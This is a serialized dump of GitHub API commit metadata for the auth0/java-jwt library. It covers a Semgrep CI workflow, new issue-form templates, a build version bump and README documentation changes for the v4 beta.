+      - api-diffu}(j2  (01a5adbe1222145b827086ec99d8178ae301be72j  lib/build.gradlej  modifiedj  Kj  Kj  Kj  bhttps://github.com/auth0/java-jwt/blob/f799e589c3d43de318c7ca0f0c36e462297db973/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/f799e589c3d43de318c7ca0f0c36e462297db973/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=f799e589c3d43de318c7ca0f0c36e462297db973j  @@ -17,7 +17,7 @@ oss {
     repository "java-jwt"
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
-    baselineCompareVersion "3.18.2"
+    baselineCompareVersion "4.0.0"
 
     developers {
         auth0 {ueu(3e6f4b80a125df67a97df6d8eadf675d79907624}(sha(3e6f4b80a125df67a97df6d8eadf675d79907624node_idEC_kwDOAQtL0doAKDNlNmY0YjgwYTEyNWRmNjdhOTdkZjZkOGVhZGY2NzVkNzk5MDc2MjQcommit}(author}(name	Evan Simsemailevan.sims@auth0.comdate2022-07-05T21:12:01Zu	committer}(j  GitHubj  noreply@github.comj  2022-07-05T21:12:01ZumessageCreate semgrep.ymltree}(j  (deb094e3424e66d14ab938539170f103976cff0eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/deb094e3424e66d14ab938539170f103976cff0eujͰ  `https://api.github.com/repos/auth0/java-jwt/git/commits/3e6f4b80a125df67a97df6d8eadf675d79907624
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJixKkhCRBK7hj4Ov3rIwAAUJIIAG+++0rBWiHxxr+q1yH9ZIxC
EbnalbFYGgRl4afnrACRH9tR/4247ARyTTLrS/F+mLz2L+O3WstvIY4mjhS0uEVU
WMUwvtdulvIgiRQgHPXmt5h/iTTZfW3ZVHgMJ2kJD5XaUXksUMp7QzifFujUdq5/
YCQdW9PgvfSRM+Q7XJPb8RbLRwa3G95Ropn7mA4AA5qvT20PHUhtz6rQGhYG9cG0
YsHtNpiypPlSA162ITQMLuV1QxP9wp4BWVxNQSBJ3y5SgGSBK15M106IkU9/zDA+
dI0TBhSb4A9y8L+uWGsAQU9Q5y6XmDG2Hmnj1bNI3iU7gJvrRMXOPJEfPAjWw+k=
=IijR
-----END PGP SIGNATURE-----
payloadtree deb094e3424e66d14ab938539170f103976cff0e
parent 5abfc20e70546f32aedbbc857eac296e712c1a90
author Evan Sims <evan.sims@auth0.com> 1657055521 -0400
committer GitHub <noreply@github.com> 1657055521 -0400

Create semgrep.ymluujͰ  \https://api.github.com/repos/auth0/java-jwt/commits/3e6f4b80a125df67a97df6d8eadf675d79907624html_urlQhttps://github.com/auth0/java-jwt/commit/3e6f4b80a125df67a97df6d8eadf675d79907624comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3e6f4b80a125df67a97df6d8eadf675d79907624/commentsj  }(loginevansimsidMj  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3jͰ  %https://api.github.com/users/evansimsj۰  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminujð  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3jͰ  %https://api.github.com/users/web-flowj۰  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (5abfc20e70546f32aedbbc857eac296e712c1a90jͰ  \https://api.github.com/repos/auth0/java-jwt/commits/5abfc20e70546f32aedbbc857eac296e712c1a90j۰  Qhttps://github.com/auth0/java-jwt/commit/5abfc20e70546f32aedbbc857eac296e712c1a90uastats}(totalK	additionsK	deletionsK ufiles]}(j  (e0227e37cad30d85fb0a7277245df792bf4346a9filename.github/workflows/semgrep.ymlstatusaddedj  Kj  K changesKblob_urlqhttps://github.com/auth0/java-jwt/blob/3e6f4b80a125df67a97df6d8eadf675d79907624/.github%2Fworkflows%2Fsemgrep.ymlraw_urlphttps://github.com/auth0/java-jwt/raw/3e6f4b80a125df67a97df6d8eadf675d79907624/.github%2Fworkflows%2Fsemgrep.ymlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/.github%2Fworkflows%2Fsemgrep.yml?ref=3e6f4b80a125df67a97df6d8eadf675d79907624patchX  @@ -0,0 +1,24 @@
+name: Semgrep
+
+on:
+  pull_request: {}
+
+  push:
+    branches: ["master", "main"]
+
+  schedule:
+    - cron: '30 0 1,15 * *'
+
+jobs:
+  semgrep:
+    name: Scan
+    runs-on: ubuntu-latest
+    container:
+      image: returntocorp/semgrep
+    if: (github.actor != 'dependabot[bot]')
+    steps:
+      - uses: actions/checkout@v3
+
+      - run: semgrep ci
+        env:
+          SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}uau(923e9c46db888c500ff44032fa900b871fae30ed}(sha(923e9c46db888c500ff44032fa900b871fae30ednode_idEC_kwDOAQtL0doAKDkyM2U5YzQ2ZGI4ODhjNTAwZmY0NDAzMmZhOTAwYjg3MWZhZTMwZWQcommit}(author}(nameRita Zerrizuelaemailzeta@widcket.comdate2023-04-26T02:02:41Zu	committer}(j4  GitHubj6  noreply@github.comj8  2023-04-26T02:02:41Zumessage:Replace issue templates with issue forms [SDK-4167] (#661)tree}(j,  (aad8d4b81797a85eed53306a7957786d4ebe485furl^https://api.github.com/repos/auth0/java-jwt/git/trees/aad8d4b81797a85eed53306a7957786d4ebe485fujD  `https://api.github.com/repos/auth0/java-jwt/git/commits/923e9c46db888c500ff44032fa900b871fae30ed
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJkSIZBCRBK7hj4Ov3rIwAA2S8IAAR/0YAtkLWG7GRl7CQoT9e4
cycLd3RD29fVqJkCNFlTZ0zNDOSZpH/s2R780SHxMIBjAxDsM4g7lfy2H2bhj/Xm
xt5EC4oVcpfLTTz6Wehhhd+pklH8z+3jiDIbSoqPawjX9r7R9KTpVw31uYCRQKss
XXB0xS7/h+qgMbBtatlPJ5Uq04eme1HkzEGMINeye+/dfL+RjCwx8BfCcckIYxmM
vEDrdjqssuOUTXLuBWNgW5PGWCZq8+0LbZaUb0VqzruntHqxa8ulXzivMb0PmsWO
+YS8eOH/+bGmhkkOHeWsw+fiV8OjI4vRURMhSihyKlpbE56w2E8uH6BzgmZN0f8=
=CQdT
-----END PGP SIGNATURE-----
payloadX
  tree aad8d4b81797a85eed53306a7957786d4ebe485f
parent 82548a6e7b69ad0c6974519c9ebb313d15237cad
author Rita Zerrizuela <zeta@widcket.com> 1682474561 -0300
committer GitHub <noreply@github.com> 1682474561 -0500

Replace issue templates with issue forms [SDK-4167] (#661)

uujD  \https://api.github.com/repos/auth0/java-jwt/commits/923e9c46db888c500ff44032fa900b871fae30edhtml_urlQhttps://github.com/auth0/java-jwt/commit/923e9c46db888c500ff44032fa900b871fae30edcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/923e9c46db888c500ff44032fa900b871fae30ed/commentsj2  }(loginWidcketidJ-%M j.  MDQ6VXNlcjUwNTU3ODk=
avatar_url3https://avatars.githubusercontent.com/u/5055789?v=4gravatar_idh3jD  $https://api.github.com/users/WidcketjR  https://github.com/Widcket
followers_url.https://api.github.com/users/Widcket/followers
following_url;https://api.github.com/users/Widcket/following{/other_user}	gists_url4https://api.github.com/users/Widcket/gists{/gist_id}starred_url;https://api.github.com/users/Widcket/starred{/owner}{/repo}subscriptions_url2https://api.github.com/users/Widcket/subscriptionsorganizations_url)https://api.github.com/users/Widcket/orgs	repos_url*https://api.github.com/users/Widcket/repos
events_url5https://api.github.com/users/Widcket/events{/privacy}received_events_url4https://api.github.com/users/Widcket/received_eventstypeUser
site_adminuj:  }(jW  web-flowjY  J/j.  MDQ6VXNlcjE5ODY0NDQ3j[  4https://avatars.githubusercontent.com/u/19864447?v=4j]  h3jD  %https://api.github.com/users/web-flowjR  https://github.com/web-flowj`  /https://api.github.com/users/web-flow/followersjb  <https://api.github.com/users/web-flow/following{/other_user}jd  5https://api.github.com/users/web-flow/gists{/gist_id}jf  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jh  3https://api.github.com/users/web-flow/subscriptionsjj  *https://api.github.com/users/web-flow/orgsjl  +https://api.github.com/users/web-flow/reposjn  6https://api.github.com/users/web-flow/events{/privacy}jp  5https://api.github.com/users/web-flow/received_eventsjr  Userjt  uparents]}(j,  (82548a6e7b69ad0c6974519c9ebb313d15237cadjD  \https://api.github.com/repos/auth0/java-jwt/commits/82548a6e7b69ad0c6974519c9ebb313d15237cadjR  Qhttps://github.com/auth0/java-jwt/commit/82548a6e7b69ad0c6974519c9ebb313d15237caduastats}(totalK݌	additionsKz	deletionsKcufiles](}(j,  (d5d861e0e778208776ff39460ed132b0f41d52effilename%.github/ISSUE_TEMPLATE/Bug Report.ymlstatusaddedj  KCj  K changesKCblob_url{https://github.com/auth0/java-jwt/blob/923e9c46db888c500ff44032fa900b871fae30ed/.github%2FISSUE_TEMPLATE%2FBug%20Report.ymlraw_urlzhttps://github.com/auth0/java-jwt/raw/923e9c46db888c500ff44032fa900b871fae30ed/.github%2FISSUE_TEMPLATE%2FBug%20Report.ymlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/.github%2FISSUE_TEMPLATE%2FBug%20Report.yml?ref=923e9c46db888c500ff44032fa900b871fae30edpatchX 
  @@ -0,0 +1,67 @@
+name: 🐞 Report a bug
+description: Have you found a bug or issue? Create a bug report for this library
+labels: ["bug"]
+
+body:
+  - type: markdown
+    attributes:
+      value: |
+        **Please do not report security vulnerabilities here**. The [Responsible Disclosure Program](https://auth0.com/responsible-disclosure-policy) details the procedure for disclosing security issues.
+
+  - type: checkboxes
+    id: checklist
+    attributes:
+      label: Checklist
+      options:
+        - label: I have looked into the [Readme](https://github.com/auth0/java-jwt#readme) and [Examples](https://github.com/auth0/java-jwt/blob/master/EXAMPLES.md), and have not found a suitable solution or answer.
+          required: true
+        - label: I have looked into the [API documentation](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html) and have not found a suitable solution or answer.
+          required: true
+        - label: I have searched the [issues](https://github.com/auth0/java-jwt/issues) and have not found a suitable solution or answer.
+          required: true
+        - label: I have searched the [Auth0 Community](https://community.auth0.com) forums and have not found a suitable solution or answer.
+          required: true
+        - label: I agree to the terms within the [Auth0 Code of Conduct](https://github.com/auth0/open-source-template/blob/master/CODE-OF-CONDUCT.md).
+          required: true
+
+  - type: textarea
+    id: description
+    attributes:
+      label: Description
+      description: Provide a clear and concise description of the issue, including what you expected to happen.
+    validations:
+      required: true
+
+  - type: textarea
+    id: reproduction
+    attributes:
+      label: Reproduction
+      description: Detail the steps taken to reproduce this error, and whether this issue can be reproduced consistently or if it is intermittent.
+      placeholder: |
+        1. Step 1...
+        2. Step 2...
+        3. ...
+    validations:
+      required: true
+
+  - type: textarea
+    id: additional-context
+    attributes:
+      label: Additional context
+      description: Other libraries that might be involved, or any other relevant information you think would be useful.
+    validations:
+      required: false
+
+  - type: input
+    id: environment-version
+    attributes:
+      label: java-jwt version
+    validations:
+      required: true
+
+  - type: input
+    id: environment-java-version
+    attributes:
+      label: Java version
+    validations:
+      required: trueu      }(j,  (38fee43305eaed439d34288d73b42c783f6ad714j  *.github/ISSUE_TEMPLATE/Feature Request.ymlj  addedj  K5j  K j  K5j  https://github.com/auth0/java-jwt/blob/923e9c46db888c500ff44032fa900b871fae30ed/.github%2FISSUE_TEMPLATE%2FFeature%20Request.ymlj  https://github.com/auth0/java-jwt/raw/923e9c46db888c500ff44032fa900b871fae30ed/.github%2FISSUE_TEMPLATE%2FFeature%20Request.ymlj  https://api.github.com/repos/auth0/java-jwt/contents/.github%2FISSUE_TEMPLATE%2FFeature%20Request.yml?ref=923e9c46db888c500ff44032fa900b871fae30edj  X  @@ -0,0 +1,53 @@
+name: 🧩 Feature request
+description: Suggest an idea or a feature for this library
+labels: ["feature request"]
+
+body:
+  - type: checkboxes
+    id: checklist
+    attributes:
+      label: Checklist
+      options:
+        - label: I have looked into the [Readme](https://github.com/auth0/java-jwt#readme) and [Examples](https://github.com/auth0/java-jwt/blob/master/EXAMPLES.md), and have not found a suitable solution or answer.
+          required: true
+        - label: I have looked into the [API documentation](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html) and have not found a suitable solution or answer.
+          required: true
+        - label: I have searched the [issues](https://github.com/auth0/java-jwt/issues) and have not found a suitable solution or answer.
+          required: true
+        - label: I have searched the [Auth0 Community](https://community.auth0.com) forums and have not found a suitable solution or answer.
+          required: true
+        - label: I agree to the terms within the [Auth0 Code of Conduct](https://github.com/auth0/open-source-template/blob/master/CODE-OF-CONDUCT.md).
+          required: true
+
+  - type: textarea
+    id: description
+    attributes:
+      label: Describe the problem you'd like to have solved
+      description: A clear and concise description of what the problem is.
+      placeholder: I'm always frustrated when...
+    validations:
+      required: true
+
+  - type: textarea
+    id: ideal-solution
+    attributes:
+      label: Describe the ideal solution
+      description: A clear and concise description of what you want to happen.
+    validations:
+      required: true
+
+  - type: textarea
+    id: alternatives-and-workarounds
+    attributes:
+      label: Alternatives and current workarounds
+      description: A clear and concise description of any alternatives you've considered or any workarounds that are currently in place.
+    validations:
+      required: false
+
+  - type: textarea
+    id: additional-context
+    attributes:
+      label: Additional context
+      description: Add any other context or screenshots about the feature request here.
+    validations:
+      required: falseu}(j,  (f58e0249f5a49b2b53e690410d3bae89222c50e0j  !.github/ISSUE_TEMPLATE/config.ymlj  modifiedj  Kj  Kj  Kj  uhttps://github.com/auth0/java-jwt/blob/923e9c46db888c500ff44032fa900b871fae30ed/.github%2FISSUE_TEMPLATE%2Fconfig.ymlj  thttps://github.com/auth0/java-jwt/raw/923e9c46db888c500ff44032fa900b871fae30ed/.github%2FISSUE_TEMPLATE%2Fconfig.ymlj  https://api.github.com/repos/auth0/java-jwt/contents/.github%2FISSUE_TEMPLATE%2Fconfig.yml?ref=923e9c46db888c500ff44032fa900b871fae30edj  X  @@ -1,8 +1,5 @@
 blank_issues_enabled: false
 contact_links:
   - name: Auth0 Community
-    url: https://community.auth0.com/c/sdks/5
-    about: Discuss this SDK in the Auth0 Community forums
-  - name: Library Documentation
-    url: https://github.com/auth0/java-jwt/blob/master/README.md
-    about: Read the library documentation
+    url: https://community.auth0.com
+    about: Discuss this library in the Auth0 Community forumsu}(j,  (68352ba23dd778b6ab39394b4aa91d6572bd4f35j  ).github/ISSUE_TEMPLATE/feature_request.mdj  removedj  K j  K'j  K'j  }https://github.com/auth0/java-jwt/blob/82548a6e7b69ad0c6974519c9ebb313d15237cad/.github%2FISSUE_TEMPLATE%2Ffeature_request.mdj  |https://github.com/auth0/java-jwt/raw/82548a6e7b69ad0c6974519c9ebb313d15237cad/.github%2FISSUE_TEMPLATE%2Ffeature_request.mdj  https://api.github.com/repos/auth0/java-jwt/contents/.github%2FISSUE_TEMPLATE%2Ffeature_request.md?ref=82548a6e7b69ad0c6974519c9ebb313d15237cadj  X  @@ -1,39 +0,0 @@
----
-name: Feature request
-about: Suggest an idea or a feature for this project
-title: ''
-labels: feature request
-assignees: ''
----
-
-<!--
-**Please do not report security vulnerabilities here**. The Responsible Disclosure Program (https://auth0.com/whitehat) details the procedure for disclosing security issues.
-
-Thank you in advance for helping us to improve this library! Your attention to detail here is greatly appreciated and will help us respond as quickly as possible. For general support or usage questions, use the Auth0 Community (https://community.auth0.com/) or Auth0 Support (https://support.auth0.com/). Finally, to avoid duplicates, please search existing Issues before submitting one here.
-
-By submitting an Issue to this repository, you agree to the terms within the Auth0 Code of Conduct (https://github.com/auth0/open-source-template/blob/master/CODE-OF-CONDUCT.md).
--->
-
-### Describe the problem you'd like to have solved
-
-<!--
-> A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
--->
-
-### Describe the ideal solution
-
-<!--
-> A clear and concise description of what you want to happen.
--->
-
-## Alternatives and current work-arounds
-
-<!--
-> A clear and concise description of any alternatives you've considered or any work-arounds that are currently in place.
--->
-
-### Additional information, if any
-
-<!--
-> Add any other context or screenshots about the feature request here.
--->
\ No newline at end of fileu}(j,  (e5cf8c469aec7c9603578bde2bbea587ddd89abfj  &.github/ISSUE_TEMPLATE/report-a-bug.mdj  removedj  K j  K7j  K7j  zhttps://github.com/auth0/java-jwt/blob/82548a6e7b69ad0c6974519c9ebb313d15237cad/.github%2FISSUE_TEMPLATE%2Freport-a-bug.mdj  yhttps://github.com/auth0/java-jwt/raw/82548a6e7b69ad0c6974519c9ebb313d15237cad/.github%2FISSUE_TEMPLATE%2Freport-a-bug.mdj  https://api.github.com/repos/auth0/java-jwt/contents/.github%2FISSUE_TEMPLATE%2Freport-a-bug.md?ref=82548a6e7b69ad0c6974519c9ebb313d15237cadj  X  @@ -1,55 +0,0 @@
----
-name: Report a bug
-about: Have you found a bug or issue? Create a bug report for this SDK
-title: ''
-labels: bug report
-assignees: ''
----
-
-<!--
-**Please do not report security vulnerabilities here**. The Responsible Disclosure Program (https://auth0.com/whitehat) details the procedure for disclosing security issues.
-
-Thank you in advance for helping us to improve this library! Please read through the template below and answer all relevant questions. Your additional work here is greatly appreciated and will help us respond as quickly as possible. For general support or usage questions, use the Auth0 Community (https://community.auth0.com/) or Auth0 Support (https://support.auth0.com/). Finally, to avoid duplicates, please search existing Issues before submitting one here.
-
-By submitting an Issue to this repository, you agree to the terms within the Auth0 Code of Conduct (https://github.com/auth0/open-source-template/blob/master/CODE-OF-CONDUCT.md).
--->
-
-### Describe the problem
-
-<!--
-> Provide a clear and concise description of the issue
--->
-
-### What was the expected behavior?
-
-<!--
-> Tell us about the behavior you expected to see
--->
-
-### Reproduction
-<!--
-> Detail the steps taken to reproduce this error, and whether this issue can be reproduced consistently or if it is intermittent.
-> **Note**: If clear, reproducible steps or the smallest sample app demonstrating misbehavior cannot be provided, we may not be able to follow up on this bug report.
-
-> Where possible, please include:
->
-> - The smallest possible sample app that reproduces the undesirable behavior
-> - Log files (redact/remove sensitive information)
-> - Application settings (redact/remove sensitive information)
-> - Screenshots
--->
-
-- Step 1..
-- Step 2..
-- ...
-
-### Environment
-
-<!--
-> Please provide the following:
--->
-
-- **Version of this library used:**
-- **Version of Java used:**
-- **Other modules/plugins/libraries that might be involved:**
-- **Any other relevant information you think would be useful:**ueu(c135068c46ccb464d2d0f00fe9cbf8bad8a43a56}(sha(c135068c46ccb464d2d0f00fe9cbf8bad8a43a56node_idEC_kwDOAQtL0doAKGMxMzUwNjhjNDZjY2I0NjRkMmQwZjAwZmU5Y2JmOGJhZDhhNDNhNTYcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-04-26T00:31:01Zu	committer}(j˱  James Andersonjͱ  jim.anderson@auth0.comjϱ  2022-04-26T00:31:01ZumessageDocumentation updatestree}(jñ  (6a0140510b541282396d6b2f0bb16e6d4bfbf458url^https://api.github.com/repos/auth0/java-jwt/git/trees/6a0140510b541282396d6b2f0bb16e6d4bfbf458uj۱  `https://api.github.com/repos/auth0/java-jwt/git/commits/c135068c46ccb464d2d0f00fe9cbf8bad8a43a56
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj۱  \https://api.github.com/repos/auth0/java-jwt/commits/c135068c46ccb464d2d0f00fe9cbf8bad8a43a56html_urlQhttps://github.com/auth0/java-jwt/commit/c135068c46ccb464d2d0f00fe9cbf8bad8a43a56comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c135068c46ccb464d2d0f00fe9cbf8bad8a43a56/commentsjɱ  }(login
jimmyjamesidJ7 jű  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j۱  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujѱ  }(j  
jimmyjamesj  J7 jű  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3j۱  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj	  uparents]}(jñ  (e9549e5066aad321fa106654b630b2756d3614cdj۱  \https://api.github.com/repos/auth0/java-jwt/commits/e9549e5066aad321fa106654b630b2756d3614cdj  Qhttps://github.com/auth0/java-jwt/commit/e9549e5066aad321fa106654b630b2756d3614cduastats}(totalK)	additionsK#	deletionsKufiles](}(jñ  (624a7f689e4eb0af01b647c03ca6054fe2f5c3a8filename	README.mdstatusmodifiedj#  K"j$  KchangesK'blob_urlYhttps://github.com/auth0/java-jwt/blob/c135068c46ccb464d2d0f00fe9cbf8bad8a43a56/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/c135068c46ccb464d2d0f00fe9cbf8bad8a43a56/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=c135068c46ccb464d2d0f00fe9cbf8bad8a43a56patchX  @@ -11,15 +11,15 @@ A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.or
 
 If you're looking for an **Android** version of the JWT Decoder take a look at our [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android) library.
 
-> This library requires Java 8 or higher. The last version that supported Java 7 was 3.11.0.
+> You are viewing the documentation for the v4 beta release. For the latest stable release, please see the [version 3.x documentation](https://github.com/auth0/java-jwt).
 
 ## Table of Contents
+- [**Requirements**](#requirements)
 - [**Installation**](#installation)
 - [**Available Algorithms**](#available-algorithms)
 - [**Quickstart**](#quickstart)
   + [**Create and Sign a Token**](#create-and-sign-a-token)
   + [**Verify a Token**](#verify-a-token)
-  + [**Decode a Token**](#decode-a-token)
 - [**Usage**](#usage)
   + [**Pick the algorithm**](#pick-the-algorithm)
   + [**Time Validation**](#time-validation)
@@ -28,6 +28,10 @@ If you're looking for an **Android** version of the JWT Decoder take a look at o
   + [**Claim Class**](#claim-class)
 - [**Javadoc**](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
 
+## Requirements
+
+This library is supported for Java 8, 11, and 17. For issues on non-LTS versions above 8, consideration will be given on a case-by-case basis.
+
 ## Installation
 
 ### Gradle
@@ -138,8 +142,13 @@ You'll first need to create a `JWTVerifier` instance by calling `JWT.require()`
 
 If the token has an invalid signature or the Claim requirement is not met, a `JWTVerificationException` will raise.
 
+<details>
+<summary><em></em>Need to peek into a JWT without verifying it? (Click to expand)</summary>
+
 ### Decode a Token
 
+> __Warning:__ This will __not__ verify whether the signature is valid. You should __not__ use this for untrusted messages. You most likely want to use `JWTVerifier` as documented above instead.
+
 ```java
 String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
 try {
@@ -151,6 +160,8 @@ try {
 
 If the token has an invalid syntax or the header or payload are not JSONs, a `JWTDecodeException` will raise.
 
+</details>
+
 ## Usage
 
 ### Pick the Algorithm
@@ -176,7 +187,7 @@ Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
 
 ##### HMAC Key Length and Security
 
-When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recomendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
+When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
 
 #### Using a KeyProvider:
 By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:
@@ -243,13 +254,13 @@ JWTVerifier verifier = JWT.require(algorithm)
     .build();
 ```
 
-If you need to test this behaviour in your lib/app cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a custom `Clock`. e.g.:
+If you need to test this behavior in your lib/app cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a `java.time.Clock`. e.g.:
 
 ```java
 BaseVerification verification = (BaseVerification) JWT.require(algorithm)
     .acceptLeeway(1)
     .acceptExpiresAt(5);
-Clock clock = new CustomClock(); //Must implement Clock interface
+private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));    
 JWTVerifier verifier = verification.build(clock);
 ```
 
@@ -342,6 +353,12 @@ Returns the Expiration Time value or null if it's not defined in the Payload.
 Date expiresAt = jwt.getExpiresAt();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant expiresAt = jwt.getExpiresAtAsInstant();
+```
+
 #### Not Before ("nbf")
 
 Returns the Not Before value or null if it's not defined in the Payload.
@@ -350,6 +367,12 @@ Returns the Not Before value or null if it's not defined in the Payload.
 Date notBefore = jwt.getNotBefore();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant notBefore = jwt.getNotBeforeAsInstant();
+```
+
 #### Issued At ("iat")
 
 Returns the Issued At value or null if it's not defined in the Payload.
@@ -358,6 +381,12 @@ Returns the Issued At value or null if it's not defined in the Payload.
 Date issuedAt = jwt.getIssuedAt();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant issuedAt = jwt.getIssuedAtAsInstant();
+```
+
 #### JWT ID ("jti")
 
 Returns the JWT ID value or null if it's not defined in the Payload.u}(jñ  (a99f0fa010ba4b81b0c97a055105f1a844a7ecc8j)  /lib/src/main/java/com/auth0/jwt/JWTCreator.javaj+  modifiedj#  Kj$  Kj-  Kj.  https://github.com/auth0/java-jwt/blob/c135068c46ccb464d2d0f00fe9cbf8bad8a43a56/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj0  https://github.com/auth0/java-jwt/raw/c135068c46ccb464d2d0f00fe9cbf8bad8a43a56/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj2  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=c135068c46ccb464d2d0f00fe9cbf8bad8a43a56j4  X"  @@ -453,7 +453,7 @@ public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentE
 
             if (!validatePayload(payloadClaims)) {
                 throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, "
-                        + "Long, Double, String, Date and Null");
+                        + "Long, Double, String, Date, Instant, and Null");
             }
 
             // add claims only after validating all claims so as not to corrupt the claims map of this builderueu(1ef63fd447b8b6115157f77ecb9170ef7b5bc3d2}(sha(1ef63fd447b8b6115157f77ecb9170ef7b5bc3d2node_idEC_kwDOAQtL0doAKDFlZjYzZmQ0NDdiOGI2MTE1MTU3Zjc3ZWNiOTE3MGVmN2I1YmMzZDIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-11T18:04:34Zu	committer}(jH  	poovamrajjJ  poovamraj@gmail.comjL  2022-03-14T11:05:18ZumessageDocumentation updatetree}(j@  (b4833672eb6e46b94ebb5b428902337b67195e32url^https://api.github.com/repos/auth0/java-jwt/git/trees/b4833672eb6e46b94ebb5b428902337b67195e32ujX  `https://api.github.com/repos/auth0/java-jwt/git/commits/1ef63fd447b8b6115157f77ecb9170ef7b5bc3d2
